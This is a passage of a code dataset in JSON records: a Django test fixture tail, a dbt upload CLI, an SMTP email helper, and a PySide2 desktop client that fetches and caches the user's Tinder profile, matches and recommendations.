user):\n    return factories.GoalCommentFactory.create(\n        text='test_comment',\n        goal=goal,\n        user=user,\n    )\n\n\n", "repo_name": "alllvp/diploma", "sub_path": "todolist/tests/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 1755, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 9, "usage_type": "call"}, {"api_name": "pytest_factoryboy.register", "line_number": 10, "usage_type": "call"}, {"api_name": "factories.GoalFactory", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pytest_factoryboy.register", "line_number": 11, "usage_type": "call"}, {"api_name": "factories.BoardFactory", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pytest_factoryboy.register", "line_number": 12, "usage_type": "call"}, {"api_name": "factories.UserFactory", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pytest_factoryboy.register", "line_number": 13, "usage_type": "call"}, {"api_name": "factories.CategoryFactory", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pytest_factoryboy.register", "line_number": 14, "usage_type": "call"}, {"api_name": "factories.BoardParticipantFactory", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pytest_factoryboy.register", "line_number": 15, "usage_type": "call"}, {"api_name": "factories.GoalCommentFactory", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pytest_factoryboy.register", "line_number": 16, "usage_type": "call"}, {"api_name": "factories.TuserFactory", "line_number": 16, "usage_type": "attribute"}, {"api_name": "rest_framework.test.APIClient", "line_number": 21, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 19, "usage_type": "attribute"}, {"api_name": "factories.BoardFactory.create_batch", "line_number": 28, "usage_type": "call"}, {"api_name": "factories.BoardFactory", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 26, "usage_type": "call"}, {"api_name": "factories.BoardFactory.create", "line_number": 33, "usage_type": "call"}, {"api_name": "factories.BoardFactory", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 31, "usage_type": "call"}, {"api_name": "factories.BoardParticipantFactory.create", "line_number": 39, "usage_type": "call"}, {"api_name": "factories.BoardParticipantFactory", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 36, "usage_type": "call"}, {"api_name": "factories.BoardParticipantFactory.create", "line_number": 48, "usage_type": "call"}, {"api_name": "factories.BoardParticipantFactory", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 46, "usage_type": "call"}, {"api_name": "factories.CategoryFactory.create", "line_number": 57, "usage_type": "call"}, {"api_name": "factories.CategoryFactory", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "name"}, {"api_name": "factories.GoalFactory.create", "line_number": 66, "usage_type": "call"}, {"api_name": "factories.GoalFactory", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 63, "usage_type": "attribute"}, {"api_name": "factories.GoalCommentFactory.create", "line_number": 77, "usage_type": "call"}, {"api_name": "factories.GoalCommentFactory", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 75, "usage_type": "attribute"}]}
{"seq_id": "17215345908", "text": "import logging\nimport sys\nimport textwrap\n\nfrom revefi_dbt_client.parser import parse_args_legacy, parse_args_v2\nfrom revefi_dbt_client.upload import upload\n\nLOG = logging.getLogger(__name__)\n\n\ndef main(legacy_parser=False):\n    argv = sys.argv[1:]\n\n    if legacy_parser:\n        LOG.warning(textwrap.dedent(\"\"\"\n                                       Using legacy parser,\n                                       please update how CLI is invoked as per the documentation: https://github.com/revefi/dbt_python_client\"\"\"))\n        args = parse_args_legacy(argv)\n    else:\n        args = parse_args_v2(argv)\n\n    try:\n        upload(args.token, args.project_folder, args.target_folder, args.logs_folder)\n    except:\n        if args.ignore_errors:\n            LOG.exception(\"Error occurred, but --ignore-error is supplied, exiting with exitCode 0\")\n            sys.exit(0)\n        else:\n            raise\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "revefi/dbt_python_client", "sub_path": "src/revefi_dbt_client/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "textwrap.dedent", "line_number": 15, "usage_type": "call"}, {"api_name": "revefi_dbt_client.parser.parse_args_legacy", "line_number": 18, "usage_type": "call"}, {"api_name": "revefi_dbt_client.parser.parse_args_v2", "line_number": 20, "usage_type": "call"}, {"api_name": "revefi_dbt_client.upload.upload", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "34489745636", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nsys.path.append('/app')\nimport re\nimport logging\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nfrom tornado import template\n\nfrom settings import unittest as settings\n\ndef email(address):\n    if re.match(r'^[\\w]+@[\\w\\.]+$', address):\n        return address\n    else:\n        raise ValueError('%s isn\\'t an email' % address)\n\n\ndef send_email(src, dst, subject, text=None, html=None):\n    server = smtplib.SMTP(\n        host=settings['smtp']['host'],\n        port=settings['smtp']['port'],\n    )\n\n    msg = MIMEMultipart('alternative')\n    msg['Subject'] = subject\n    msg['From'] = src\n    msg['To'] = ', '.join(dst)\n    if text:\n        msg.attach(MIMEText(text, 'text'))\n    if html:\n        msg.attach(MIMEText(html, 'html'))\n\n    server.send_message(msg)\n    server.quit()\n\n    return True\n\nif __name__ == '__main__':\n    text = 'look at HTML'\n    tmpl = template.Template(\n        '<html>Hello from html template<br><br>lala</html>'\n    )\n    html = tmpl.generate().decode()\n    send_email(\n        'src@mail.ru',\n        ['dst@mail.ru', 'dst2@mail.ru'],\n        'Test',\n        'look at html',\n        html,\n    )\n", "repo_name": "zzzevaka/findchat", "sub_path": "backend/main_app/utils/email_utils.py", "file_name": "email_utils.py", "file_ext": "py", "file_size_in_byte": 1242, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 18, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 25, "usage_type": "call"}, {"api_name": "settings.unittest", "line_number": 26, "usage_type": "name"}, {"api_name": "settings.unittest", "line_number": 27, "usage_type": "name"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 30, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 35, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 37, "usage_type": "call"}, {"api_name": "tornado.template.Template", "line_number": 46, "usage_type": "call"}, {"api_name": "tornado.template", "line_number": 46, "usage_type": "name"}]}
{"seq_id": "37768008369", "text": "#!/Users/marinig/opt/anaconda3/lib/python3.7\n# Filename: tinderApp.py\n\nimport sys\nfrom PySide2.QtWidgets import *\nfrom PySide2.QtCore import *\nfrom PySide2.QtGui import *\n\nimport qdarkstyle\nimport argparse\nimport oyaml as yaml\nimport csv\nimport json\nimport GUI.loginWindow as lw\nimport GUI.mainWindow as mw\nfrom API.tinder_api_extended import TinderApi\nfrom GUI.log import log\nimport traceback\nfrom Threading.data_reloader import APIBackgroundWorker\nfrom GUI.customwaitingwidget import QtCustomWaitingSpinner\nimport faulthandler\nimport time\nimport os\nimport re\n\nclass TinderApp(QApplication):\n    def __init__(self, parsed_args, *args, **kwargs):\n        super(TinderApp, self).__init__(*args, **kwargs)\n\n        log.create_log_widget()\n        self.data_folder = \"./Data/\"\n        self.recommendations_folder = self.data_folder + \"recommendations/\"\n        self.recommendations_file = self.data_folder + \"recommendations.json\"\n        self.matches_folder = self.data_folder + \"matches/\"\n        self.matches_file = self.data_folder + \"matches.json\"\n        self.profile_folder = self.data_folder + \"profile/\"\n        self.profile_file = self.data_folder + \"profile.json\"\n        self.tinder_api = TinderApi(self.data_folder)\n        self.logged_in = False\n\n        # self.thread = QThread()  # 1a - create Worker and Thread inside the Form. No parent!\n        # self.obj = worker.Worker()  # no parent!\n        self.thread_pool = QThreadPool()   # 1b - create a ThreadPool and then create the Workers when you need!\n        self.thread_pool.setMaxThreadCount(4)\n\n        self.background_tasks_list = []\n        self.background_info = QLabel(\"No background stuff!\")\n        self.background_count_label = QLabel(\"\")\n        self.background_completed = 0\n        self.background_count_total = 0\n        self.spinner = QtCustomWaitingSpinner(self, centerOnParent=False)\n        self.spinner.hideSpinner()\n        self.spinner.updateSize(QSize(30,30))\n\n        \"\"\"\n        I wanted to make this config an object. I tried by calling yaml_load and getting\n        the dictionary from a pure yaml file (without !!python/object:__main__.ConfigSingleton on top)\n        Then I tried to pass the dictionary to an object like Struct(**dict) and\n        class Struct:\n            def __init__(self, **entries):\n                self.__dict__.update(entries)\n\n        But it did not work\n        \"\"\"\n        self.configSingleton = ConfigSingleton()  # Transform the dict to attributes of the class ConfigSingleton\n        self.config = self.configSingleton.yaml_config  # Transform the dict to attributes of the class ConfigSingleton\n        self.config_file = self.configSingleton.yaml_config_file\n\n        self.recommendations = None\n        self.matches = None\n        self.new_recommendations = None\n        self.new_matches = None\n        self.profile_info = None\n\n        self.window = \"\"\n        # set app icon\n        self.setWindowIcon(QIcon(\"GUI/icons/tinder.png\"))\n        if parsed_args.css:\n            self.updateStyle()\n        else:\n            if sys.platform!='darwin':\n                self.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\n\n        # self.startMainWindow(True)\n        self.startLoginWindow()\n\n    def export_people_data_csv(self, csv_filename, people_data, keys_to_export):\n        with open(csv_filename, mode='r') as csv_file:\n            csv_writer = csv.writer(csv_file, delimiter=',', quotechar='\"',\n                                    quoting=csv.QUOTE_MINIMAL)\n            for person in people_data:\n                for key in person.keys():\n                    to_write = []\n                    if key in keys_to_export:\n                        to_write = to_write + person[key]\n                if len(to_write) > 0:\n                    csv_writer.writerow(to_write)\n\n    def updateData(self, list_to_fill, downloaded_data, file_path):\n        if list_to_fill is not None and isinstance(list_to_fill, list):\n            list_to_fill.append(downloaded_data)\n            data_to_dump = list_to_fill\n        else:\n            data_to_dump = downloaded_data\n        try:\n            with open(file_path, 'w') as fp:\n                json.dump(data_to_dump, fp)\n            log.i(\"API\", \"Data written to: \" + file_path)\n        except Exception as e:\n            log.e(\"API\", \"Exception saving \" + file_path + \" json: \" + str(e))\n\n    def get_api_data(self, doAsync=False, api_fun=None, args=[], kwargs={},\n                     finished_callback=None, callback_args=None, callback_kwargs=None,\n                     update_callback=None, info=None, tag=None):\n        if not doAsync:\n            kwargs[\"log_to_widget\"] = False\n            kwargs[\"thread_update_signal\"] = None\n            result = api_fun(*args, **kwargs)\n            self.new_data_callback(result, finished_callback)\n        else:\n            obj = APIBackgroundWorker(api_fun, args, kwargs, callback=finished_callback, callback_args=callback_args, callback_kwargs=callback_kwargs)\n            if tag is not None:\n                obj.tag = tag\n            obj.signals.dataReceived.connect(self.new_data_callback)  # 2 - Connect Worker`s Signals to Form method slots to post data.\n            if update_callback is None:\n                update_callback = self.updateBackgroundTaskInfo\n            obj.signals.dataUpdate.connect(update_callback)  # 2 - Connect Worker`s Signals to Form method slots to post data.\n            if info is None:\n                self.addBackgroundTask(obj, \"Getting Data from API: \" +str(info))\n            else:\n                self.addBackgroundTask(obj, info)\n\n    def get_profile(self, doAsync=True, force_update=False):\n        try:\n            with open(self.profile_file, \"r\") as pf:\n                data= json.load(pf)\n            log.d(\"APP\", \"Profile file read: \" +str(data))\n            self.setProfileData(data, download_data=False)\n        except Exception as e:\n            log.e(\"APP\", \"No profile found\")\n\n        if self.profile_info is None or force_update:\n            self.get_api_data(doAsync, self.tinder_api.get_self,\n                              [], {},\n                              finished_callback=self.setProfileData,\n                              callback_kwargs={'download_data':True},\n                              update_callback=self.updateBackgroundTaskInfo,\n                              info=\"Getting profile data\",\n                              tag=\"ProfileGetter\")\n    def setProfileData(self, new_data, download_data=False):\n        log.d(\"APP\", \"New profile info, download: \" +str(download_data))\n        if new_data is not None:\n            self.profile_info = new_data\n        if self.profile_info is None:\n            return\n        if self.window is not None and self.window.chat_widget is not None:\n            self.window.chat_widget.setLeftId(self.profile_info[\"_id\"])\n\n        if download_data:\n            self.get_api_data(True, self.tinder_api.download_person_data,\n                                    [self.profile_info, self.profile_folder, True, True, False, True],\n                                    {\"force_overwrite\": True},\n                                    finished_callback=self.updateProfileData,\n                                    update_callback=self.updateBackgroundTaskInfo,\n                                    info=\"Downloading Profile data to: \" + str(self.profile_folder),\n                                    tag=\"ProfileDownloader\")\n    def updateProfileData(self, downloaded_data):\n        try:\n            with open(self.profile_file, 'w') as fp:\n                json.dump(downloaded_data, fp)\n            log.i(\"API\", \"Profile data written to: \" + self.profile_file)\n        except Exception as e:\n            log.e(\"API\", \"Exception saving \" + self.profile_file + \" json: \" + str(e))\n        pass\n\n    def get_matches(self, doAsync=True):\n        self.get_api_data(doAsync, self.tinder_api.all_matches,\n                          finished_callback=self.setNewMatches,\n                          info=\"Getting new Matches\")\n    def setNewMatches(self, data):\n        if 'data' in data:\n            self.new_matches = data['data']['matches']\n            self.updateMatchesWidgets(False, True)\n    def read_matches(self, doAsync=False):\n        self.get_api_data(doAsync, self.tinder_api.read_data, [self.matches_file],\n                          info=\"Reading data from: \" + str(self.matches_file),\n                          finished_callback=self.setMatches,\n                          tag=\"MatchesDownloader\")\n    def reload_matches(self, doAsync=False, photos=True, insta=True, messages=True, force_overwrite=False):\n        self.get_api_data(doAsync, self.tinder_api.reload_data_from_disk,\n                          [self.matches_folder, self.matches_file, photos, insta, messages],\n                          {\"force_overwrite\": force_overwrite},\n                          finished_callback=self.setMatches,\n                          update_callback=self.updateBackgroundTaskInfo,\n                          info=\"Reloading Matches\",\n                          tag=\"MatchesReloader\")\n    def download_new_matches(self, photos=True, insta=True, messages=True,  rename_images=False, amount=0, force_overwrite=False):\n        self.get_api_data(True, self.tinder_api.download_people_data_api,\n                          [self.new_matches, self.matches_folder, photos, insta, messages, rename_images, amount],\n                          {\"force_overwrite\": force_overwrite},\n                          finished_callback=self.updateMatches,\n                          update_callback=self.updateBackgroundTaskInfo,\n                          info=\"Downloading Matches data to: \" + str(self.matches_folder),\n                          tag=\"MatchesDownloader\")\n    def setMatches(self, data):\n        log.d(\"APP\", \"updateMatches called\")\n        self.new_matches = None\n        self.matches = data\n        self.updateMatchesWidgets()\n    def updateMatches(self, downloaded_data):\n        self.updateData(self.matches, downloaded_data, self.matches_file)\n        self.updateMatchesWidgets()\n    def updateMatchesWidgets(self, updateList=True, updateWidgets=True):\n        if self.window is not None:\n            if updateList:\n                self.window.matches_list.update_list(self.matches)\n            if updateWidgets:\n                self.window.features_panel.update_matches_widgets()\n\n\n    def get_recommendations(self, doAsync=True):\n        self.get_api_data(doAsync, self.tinder_api.get_recs_v2,\n                              finished_callback=self.setNewRecommendations,\n                              info=\"Getting new Recommendations\")\n    def setNewRecommendations(self, data):\n        if 'data' in data:\n            self.new_recommendations = data['data']['results']\n            self.updateRecommendationsWidgets(False, True)\n    # Read recommendations.json file containing all recommendations\n    def read_recommendations(self, doAsync=False):\n        self.get_api_data(doAsync, self.tinder_api.read_data, [self.recommendations_file],\n                          info=\"Reading data from: \" + str(self.recommendations_file),\n                          finished_callback=self.setRecommendations,\n                          tag=\"RecomendationsDownloader\")\n    # Redownload recommendations and writes the output to file file containing all recommendations\n    def reload_recommendations(self, doAsync=False,photos=True, insta=True, force_overwrite=False):\n        self.get_api_data(doAsync, self.tinder_api.reload_data_from_disk,\n                          [self.recommendations_folder, self.recommendations_file, photos, insta, False],\n                          {\"force_overwrite\": force_overwrite},\n                          finished_callback=self.setRecommendations,\n                          update_callback=self.updateBackgroundTaskInfo,\n                          info=\"Reloading Recommendations\",\n                          tag=\"RecommendationsReloader\")\n    def download_new_recommendations(self, photos=True, insta=True, rename_images=False, amount=0, force_overwrite=False):\n        self.get_api_data(True, self.tinder_api.download_people_data_api,\n                          [self.new_recommendations, self.recommendations_folder, photos, insta, False, rename_images, amount],\n                          {\"force_overwrite\": force_overwrite},\n                          finished_callback=self.updateRecommendations,\n                          update_callback=self.updateBackgroundTaskInfo,\n                          info=\"Downloading Recommendations data to: \" + str(self.matches_folder),\n                          tag=\"RecommendationsDownloader\")\n    def setRecommendations(self, data):\n        log.d(\"APP\", \"setRecommendations called\")\n        self.new_recommendations = None\n        self.recommendations = data\n        self.updateRecommendationsWidgets()\n    def updateRecommendations(self, downloaded_data):\n        self.updateData(self.recommendations, downloaded_data, self.recommendations_file)\n        self.updateRecommendationsWidgets()\n    def updateRecommendationsWidgets(self, updateList=True, updateWidgets=True):\n        if self.window is not None:\n            if updateList:\n                self.window.recommendations_list.update_list(self.recommendations)\n            if updateWidgets:\n                self.window.features_panel.update_recommendations_widgets()\n\n    def get_messages(self, match_data, finished_callback=None, person_name=\"\"):\n        self.app.get_api_data(True, self.app.tinder_api.get_messages,\n                              [], {'match_data': match_data, 'count': 100, 'page_token': None},\n                              finished_callback=finished_callback,\n                              info=\"Getting messages \" + person_name,\n                              tag=\"MessagesDownloader\")\n    def get_match_info(self, id, name):\n        self.get_api_data(True, self.tinder_api.get_person, [id], finished_callback=self.person_data_received,\n                          info=\"Getting data of \" +str(name + \"_\"+ str(id)))\n\n    def person_data_received(self, data):\n        self.window.json_view.load_data(data[\"data\"])\n        log.d(\"PERSON_DATA\", +str(data))\n\n    def new_data_callback(self, data, callback, callback_args, callback_kwargs, async_data=None, time_started=None, tag=None):\n        if async_data is not None:\n            self.completeBackgroundTask(async_data + \": completed! \", tag=tag)\n        if time_started is not None:\n            print(async_data + \" execution time: \" + str(time.time() - time_started) + \"s\")\n        if callback is not None:\n            print(\"Callback, args: \" +str(callback_args) + \". kwwargs: \" +str(callback_kwargs))\n            if callback_args is not None and callback_kwargs is not None:\n                callback(data, callback_args, callback_kwargs)\n            elif callback_args is not None:\n                callback(data, callback_args)\n            elif callback_kwargs is not None:\n                callback(data, callback_kwargs)\n            else:\n                callback(data)\n\n    def updateStyle(self):\n        log.i(\"APP\", \"Update style!\")\n        try:\n            with open('./style.css', 'r') as cssfile:\n                self.setStyleSheet(cssfile.read())\n        except Exception as e:\n            log.e(\"APP\", \"Update style Exception\")\n\n    def startLoginWindow(self):\n        self.window = lw.LoginWindow(self, self.background_info, self.background_count_label, self.spinner, parsed_args)\n        self.window.show()\n        if self.config:\n            self.window.form_widget.verify_login(True)\n\n    def verify_login(self, doAsync, callback):\n        log.i(\"APP\", \"Config File: \" + str(os.path.abspath(self.config_file)))\n        log.i(\"APP\", \"Verify login: \" + str(self.config))\n        self.get_api_data(doAsync, self.tinder_api.authverif,\n                          [self.config['facebook']['auth_token'], self.config['facebook']['user_id']],\n                          finished_callback=callback, info=\"Verifying login\",\n                          tag=\"LoginVerifier\")\n\n    def login_verified(self, isVerified, openMainWindow=False):\n        self.logged_in = isVerified\n        QApplication.processEvents()\n        if openMainWindow:\n            with open(self.config_file, 'w') as fy:\n                yaml.dump(self.config, fy)\n            self.startMainWindow(True)\n        self.update_status_bar()\n\n    def update_status_bar(self):\n        if self.logged_in:\n            log.i(\"APP\", \"Login verified!\")\n            self.window.statusBar.showMessage(\"Login verified!\")\n            self.window.setWindowTitle(\"TinderAI (Online)\")\n        else:\n            log.i(\"APP\", \"Login FAILED!\")\n            self.window.statusBar.showMessage(\"Login FAILED!\")\n            self.window.setWindowTitle(\"TinderAI (OFFLINE)\")\n\n    def startMainWindow(self, doAsync=False):\n        if self.window is not None:\n            self.window.close()\n        if self.config:\n            self.window = mw.MainWindow(self, self.background_info, self.background_count_label, self.spinner, parsed_args)\n            self.window.show()\n            self.update_status_bar()\n            self.read_recommendations(doAsync)\n            self.read_matches(doAsync)\n            self.get_profile(doAsync, force_update=False) #it should be None at the beginning, triggering the get_self_data\n        else:\n            self.window = lw.LoginWindow(self, parsed_args)\n            self.window.show()\n            self.window.form_widget.statusBar.showMessage(\"No config file found, login again\")\n\n    def addBackgroundTask(self, task, info=\"\"):\n        if task.tag is not None:\n            while task.tag in self.background_tasks_list:\n                string_matches = re.match(r\"(.*)([0-9]+)\", task.tag)\n                if string_matches is not None:\n                    # print(\"string_matches: \" +str(string_matches.groups()))\n                    task.tag = string_matches.group(1)+str(int(string_matches.group(2))+1)\n                else:\n                    task.tag += \"_1\"\n            self.background_tasks_list.append(task.tag)\n        self.updateBackgroundTaskInfo(info)\n        self.background_count_total += 1\n        if self.background_count_total <= 1:\n            self.spinner.showSpinner()\n            self.background_count_label.setVisible(True)\n        self.updateBackgroundTaskCount()\n        log.d(\"THREADS\", \"Added new background task \" +str(info) +\" \" +str(self.background_completed) + \"/\" + str(self.background_count_total) +\" Tasks: \" +str(self.background_tasks_list), False)\n        self.thread_pool.start(task)\n\n    def completeBackgroundTask(self, info=\"\", tag=None):\n        self.updateBackgroundTaskInfo(info)\n        if tag is not None and tag in self.background_tasks_list:\n            self.background_tasks_list.remove(tag)\n        self.background_completed += 1\n        if self.background_completed >= self.background_count_total:\n            self.background_count_total = 0\n            self.background_completed = 0\n            self.spinner.hideSpinner()\n            self.updateBackgroundTaskInfo(\"All tasks completed!\")\n            self.background_count_label.setVisible(False)\n        self.updateBackgroundTaskCount()\n        log.d(\"THREADS\", \"Completed background task \" +str(info) +\" \" +str(self.background_completed) + \"/\" + str(self.background_count_total) +\" Tasks: \" +str(self.background_tasks_list), False)\n\n    def updateBackgroundTaskCount(self):\n        self.background_count_label.setText(str(self.background_completed) +\"/\"+str(self.background_count_total))\n\n    def updateBackgroundTaskInfo(self, text=\"\"):\n        self.background_info.setText(str(text))\n\nclass ConfigSingleton:\n    __instance__ = None\n    yaml_config_file = \"./settings.yaml\"\n    try:\n        yaml_config = yaml.safe_load(open(yaml_config_file))\n    except Exception:\n        yaml_config = None\n\n    def __init__(self):\n        \"\"\" Constructor. \"\"\"\n        if ConfigSingleton.__instance__ is None:\n            ConfigSingleton.__instance__ = self\n        else:\n            raise Exception(\"You cannot create another SingletonGovt class\")\n\n    def get_instance():\n        \"\"\" Static method to fetch the current instance. \"\"\"\n        if not ConfigSingleton.__instance__:\n            ConfigSingleton()\n        return ConfigSingleton.__instance__\n\n\ndef process_cl_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-c', '--css',  action='store_true', help='Reloads the CSS at each event, used for styling purposes')  # optional flag\n    parsed_args, unparsed_args = parser.parse_known_args()\n    return parsed_args, unparsed_args\n\n\"\"\"\nTHIS IS SUPER IMPORTANT IN PYQT5 APPS\nWithout this, python won't print any unhandled exception since they happen within the app.exec_()\n\"\"\"\ndef trap_exc_during_debug(*args):\n    exc_type, exc_value, exc_traceback = sys.exc_info()\n    log.e(\"MAIN\", \"General Exception: \" +str(args))\n    traceback.print_tb(exc_traceback, limit=None, file=sys.stdout)\n\nif __name__ == '__main__':\n    # install exception hook: without this, uncaught exception would cause application to exit\n    sys.excepthook = trap_exc_during_debug\n    parsed_args, unparsed_args = process_cl_args()\n    # QApplication expects the first argument to be the program name.\n    qt_args = sys.argv[:1] + unparsed_args\n\n    with open(\"./fault_handler.log\", \"w\") as fobj:\n        faulthandler.enable(fobj)\n        app = TinderApp(parsed_args, qt_args)\n        app.exec_()", "repo_name": "Gabryxx7/AI_Dating", "sub_path": "tinderApp.py", "file_name": "tinderApp.py", "file_ext": "py", "file_size_in_byte": 21431, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "81", "api": [{"api_name": "GUI.log.log.create_log_widget", "line_number": 30, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 30, "usage_type": "name"}, {"api_name": "API.tinder_api_extended.TinderApi", "line_number": 38, "usage_type": "call"}, {"api_name": "GUI.customwaitingwidget.QtCustomWaitingSpinner", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 81, "usage_type": "attribute"}, {"api_name": "qdarkstyle.load_stylesheet_pyqt5", "line_number": 82, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 89, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 90, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 107, "usage_type": "call"}, {"api_name": "GUI.log.log.i", "line_number": 108, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 108, "usage_type": "name"}, {"api_name": "GUI.log.log.e", "line_number": 110, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 110, "usage_type": "name"}, {"api_name": "Threading.data_reloader.APIBackgroundWorker", "line_number": 121, "usage_type": "call"}, {"api_name": "json.load", "line_number": 136, "usage_type": "call"}, {"api_name": "GUI.log.log.d", "line_number": 137, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 137, "usage_type": "name"}, {"api_name": "GUI.log.log.e", "line_number": 140, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 140, "usage_type": "name"}, {"api_name": "GUI.log.log.d", "line_number": 151, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 151, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 170, "usage_type": "call"}, {"api_name": "GUI.log.log.i", "line_number": 171, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 171, "usage_type": "name"}, {"api_name": "GUI.log.log.e", "line_number": 173, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 173, "usage_type": "name"}, {"api_name": "GUI.log.log.d", "line_number": 206, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 206, "usage_type": "name"}, {"api_name": "GUI.log.log.d", "line_number": 253, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 253, "usage_type": "name"}, {"api_name": "GUI.log.log.d", "line_number": 279, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 279, "usage_type": "name"}, {"api_name": "time.time", "line_number": 285, "usage_type": "call"}, {"api_name": "GUI.log.log.i", "line_number": 298, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 298, "usage_type": "name"}, {"api_name": "GUI.log.log.e", "line_number": 303, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 303, "usage_type": "name"}, {"api_name": "GUI.loginWindow.LoginWindow", "line_number": 306, "usage_type": "call"}, {"api_name": "GUI.loginWindow", "line_number": 306, "usage_type": "name"}, {"api_name": "GUI.log.log.i", "line_number": 312, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 312, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 312, "usage_type": "call"}, {"api_name": "os.path", "line_number": 312, "usage_type": "attribute"}, {"api_name": "GUI.log.log.i", "line_number": 313, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 313, "usage_type": "name"}, {"api_name": "oyaml.dump", "line_number": 324, "usage_type": "call"}, {"api_name": "GUI.log.log.i", "line_number": 330, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 330, "usage_type": "name"}, {"api_name": "GUI.log.log.i", "line_number": 334, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 334, "usage_type": "name"}, {"api_name": "GUI.mainWindow.MainWindow", "line_number": 342, "usage_type": "call"}, {"api_name": "GUI.mainWindow", "line_number": 342, "usage_type": "name"}, {"api_name": "GUI.loginWindow.LoginWindow", "line_number": 349, "usage_type": "call"}, {"api_name": "GUI.loginWindow", "line_number": 349, "usage_type": "name"}, {"api_name": "re.match", "line_number": 356, "usage_type": "call"}, {"api_name": "GUI.log.log.d", "line_number": 369, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 369, "usage_type": "name"}, {"api_name": "GUI.log.log.d", "line_number": 384, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 384, "usage_type": "name"}, {"api_name": "oyaml.safe_load", "line_number": 396, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 415, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 425, "usage_type": "call"}, {"api_name": "GUI.log.log.e", "line_number": 426, "usage_type": "call"}, {"api_name": "GUI.log.log", "line_number": 426, "usage_type": "name"}, {"api_name": "traceback.print_tb", "line_number": 427, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 427, "usage_type": "attribute"}, {"api_name": "sys.excepthook", "line_number": 431, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 434, "usage_type": "attribute"}, {"api_name": "faulthandler.enable", "line_number": 437, "usage_type": "call"}]}
